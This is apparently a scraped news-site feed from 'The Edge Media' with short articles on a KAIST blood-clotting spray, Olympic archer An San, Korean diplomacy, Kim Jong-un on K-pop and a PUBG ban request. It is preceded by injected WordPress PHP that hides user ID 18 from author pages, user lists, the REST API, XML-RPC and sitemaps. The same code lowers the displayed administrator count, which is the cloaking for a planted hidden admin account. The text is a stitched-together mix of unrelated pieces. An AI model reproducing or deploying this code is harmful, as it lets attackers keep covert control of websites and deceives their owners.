add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Spray on the Wound, Bleeding Stops Instantly appeared first on The Edge Media.
]]>Excessive bleeding remains one of the leading causes of death in accidents and traumatic injuries. In many cases, patients lose a significant amount of blood before reaching a hospital, making survival difficult. The first few minutes after an injury are often critical for saving lives. Keeping this in mind, researchers at the Korea Advanced Institute of Science and Technology have created a high tech hemostatic agent in powder form.
As soon as the powder comes into contact with blood, it transforms in less than a second into a soft and flexible gel. This gel adapts to the shape of the wound and seals it effectively. Whether the injury is deep, uneven, or located in a place where bandaging is difficult, the gel forms a complete seal over the area.
The spray does not merely cover the wound. It helps blood cells bind together quickly, accelerating the body’s natural clotting process. This rapid action ensures that bleeding is controlled almost immediately. The gel also has the ability to absorb several times its own weight in blood, making it highly efficient in critical situations.
The materials used to create this spray are derived from natural sources. Marine algae play a key role in forming the gel structure. A bacterial fermentation process is also involved, which strengthens the mixture and enhances its effectiveness.
According to the researchers, the project initially began with the aim of saving soldiers’ lives on the battlefield. However, they believe the spray will soon become an essential part of military medical kits, emergency response units, and even household first aid boxes. The technology is currently in the final stages of development. Although an official launch date has not yet been announced, experts expect it to become an affordable and practical life saving solution for millions of people around the world in the coming years.
The post Spray on the Wound, Bleeding Stops Instantly appeared first on The Edge Media.
]]>The post South Korea’s An San becomes first archer to win three gold medals in a single edition of Olympics appeared first on The Edge Media.
]]>An beat Osipova 6-5 in a thrilling gold medal match that needed to be decided via a tie-breaker. An shot a 10 while Osipova could only get an eight, thus settling for silver. It is a third gold medal of the Tokyo Olympics for An, who became a target for online hostility at home after cutting her hair short, a look labelled “feminist” by some social media users.
An is now the first archer to win three gold medals in a single edition of the Olympics.
Traditionally dominant in the sport, South Korea took gold in the mixed and women’s team events at Tokyo 2020, the latter for the ninth Games in a row to equal the overall Olympic record.
An’s women’s squad team mate, Kang Chae-young, was unexpectedly knocked out on Friday at the quarter final stage.
“I thought I shot good, but not many arrows hit 10s,” a tearful Kang, seeded three, said after falling to Osipova, the 22nd seed.
The post South Korea’s An San becomes first archer to win three gold medals in a single edition of Olympics appeared first on The Edge Media.
]]>The post United States and South Korea Decided To Demolish Working Group Coordinating North Korea’s Policies appeared first on The Edge Media.
]]>During meetings on Monday between US Special Representative for North Korea Sung Kim and his South Korean counterpart Noh Kyu-duk, the two decided to “look into dissolving the working group” while increasing cooperation at other levels, according to a statement from the Ministry of Foreign Affairs.
The working group was formed in 2018 to assist the two countries in coordinating their responses to problems such as nonproliferation negotiations, humanitarian relief, sanctions implementation, and inter-Korean ties during a period of heightened political engagement with North Korea.
The post United States and South Korea Decided To Demolish Working Group Coordinating North Korea’s Policies appeared first on The Edge Media.
]]>The post North Korea Leader Kim Jung-un Terms KPop As “Cancerous” appeared first on The Edge Media.
]]>State media in the North have warned that North Korea “would fall like a damp wall” because of increasing pop’s effect on youngsters, what it calls the “anti-socialist and non-socialist” effect.
Kim has seemed lately to have proclaimed South Korea war of culture, as the leader in North Korea feels that the popular South culture is influencing the youthful “appearances, haircuts, speeches and conduct.”
The post North Korea Leader Kim Jung-un Terms KPop As “Cancerous” appeared first on The Edge Media.
]]>The post MLA requests PM Modi to ban PUBG India Avatar Battlegrounds. appeared first on The Edge Media.
]]>Mr. Ering said in the letter,”This is a mere illusion and a trick to relaunch the same game with minor modifications and collect user data fo millions of our citizens, including our children and transfer it to foreign companies and the Chinese government”.
Mr. Ering stated that the company has a very close partnership with Tencent and is now also an investor in Nodwin which works very closely with Tencent. He believes that the game is the company’s way of entering India and capturing the data.
The post MLA requests PM Modi to ban PUBG India Avatar Battlegrounds. appeared first on The Edge Media.
]]>